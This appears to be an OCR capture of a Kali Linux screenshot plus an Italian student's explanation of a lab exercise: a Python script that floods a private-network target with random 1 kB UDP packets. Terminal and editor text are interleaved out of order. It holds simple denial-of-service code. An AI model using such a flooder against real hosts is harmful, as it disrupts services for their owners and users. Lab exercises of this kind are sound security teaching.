```
kali@kali: ~/Desktop/esercizi/espy
 File Actions Edit View Help
                                                                                                                                       9 8 4
                                                                                                                                                                                 61
                                                                       D C ×
                                                                                                          5 C X 🖺 🗓
t.SOCK_DGRAM)
                                                                       1 import socket, random
NameError: name 's' is not defined
                                                                       3 SRV_ADDR =(input("Digita l'IP target:"))
                                                                       4 SRV_PORT = int(input("Inserisci porta taget:"))
(kali@ kali)-[~/peskeep,

$ python es5set3.py

Digita l'IP target:192.168.50.100

Inserisci porta taget:1234

Traceback (most recent call last):

File "/home/kali/Desktop/esercizi/espy/es5s

13 av" line 8, in <module>
   --(kali@kali)-[~/Desktop/esercizi/espy]
                                                                       5 server_address =(SRV_ADDR, SRV_PORT)
                                                                       6 pacchetto = random.randbytes(1024)
                                                                       8 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
et3.py", line 8, in <module>
s = s.socket.socket(socket.AF_INET, socke
                                                                      10 s.bind(server_address)
                                                                      11
 t.SOCK_DGRAM)
                                                                      12
                                                                      13 numero_pacchetti= int(input("Digita il numero di pacchetti che vuoi
NameError: name 's' is not defined
                                                                        inviare"))
    -(kali@kali)-[~/Desktop/esercizi/espy]
                                                                      14 n = 0
$ python es5set3.py
Digita l'IP target:192.168.50.100
Inserisci porta taget:1234
                                                                      15
                                                                      16 while n < numero_pacchetti:
                                                                                   s.sendto(pacchetto,server_address)
Digita il numero di pacchetti che vuoi inviar
                                                                                    data,address = s.recvfrom(1024)
                                                                                    print("\n Dati arrivati:\
n = n + 1
                                                                   19
20
 Dati arrivati:
b'J\x1b\x95N\'*\x19\xd7\x13\x0cA\x17\xdf13\x
ca\xec\xac\xe0`\x97\xf2\xe9\xd0\xb0\xb1\t\xf2
l\x8aV\xf2\xdb\xxf1D\x0b\xb2\x89\x1a \x08\xcb
                                                                      21 s.close()
99g\x98Z\xbbX\xa3\x92\xa7\xfc}\x8f\xa5 \x1b \
tN\x95q\x966|yP\xfd\xa4tB\t]?\x14wi4\xc3\x83\
xaf\xdb;\xeb*\xb14\xd8\xf4\x8b\xca32\xfa\xa9\
xbc\x1aEz$\xffly}\x0c\xd7\x1d5\xe1s\xc1\xe7\x
da/\x1f6Z\xd0\xd2r\x04\xca/\xceW\x91x\xca@\xc
9\xcc\xc3\xfbP\xdao*x\x14\xcf\x17L\xd5\x13\x0
4{)\xed\xd2\x03P\xc0j\x9f{!F\x02\xff3\t\xad\x
8b\x075\xd63y1\xa9m\xfe8\xfb\x91\x0C\xca\n\xa
a\xf20\xd7a:\x85)\xc20\xb9\x95\'\xa0\x8c}\x06
 #\xb0\xfa\xfec\x9d\xd7\xc1\x90\xbd3\x1d\xeb\>
05\xc9"\xff\x81\n^i\xa6\xbb\xdc\xbeQA\xe5I\x9
```

In Questo esercizio siamo andati a fare un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Come vediamo nelle prime righe di codice troviamo l'indirizzo IP target,nella seconda l'inserimento della porta UDP target.

Nella riga 6 creiamo il pacchetto che peserà 1kB nella riga 8 andiamo a creare un nuovo oggetto socket andiamo a creare un variabile pacchetti e un input per far digitare il numero di pacchetti che vogliamo inviare.

E poi abbiamo il ciclo while dove se tutto va senza errore stamperà il messaggio print s.closes() chiude la connessione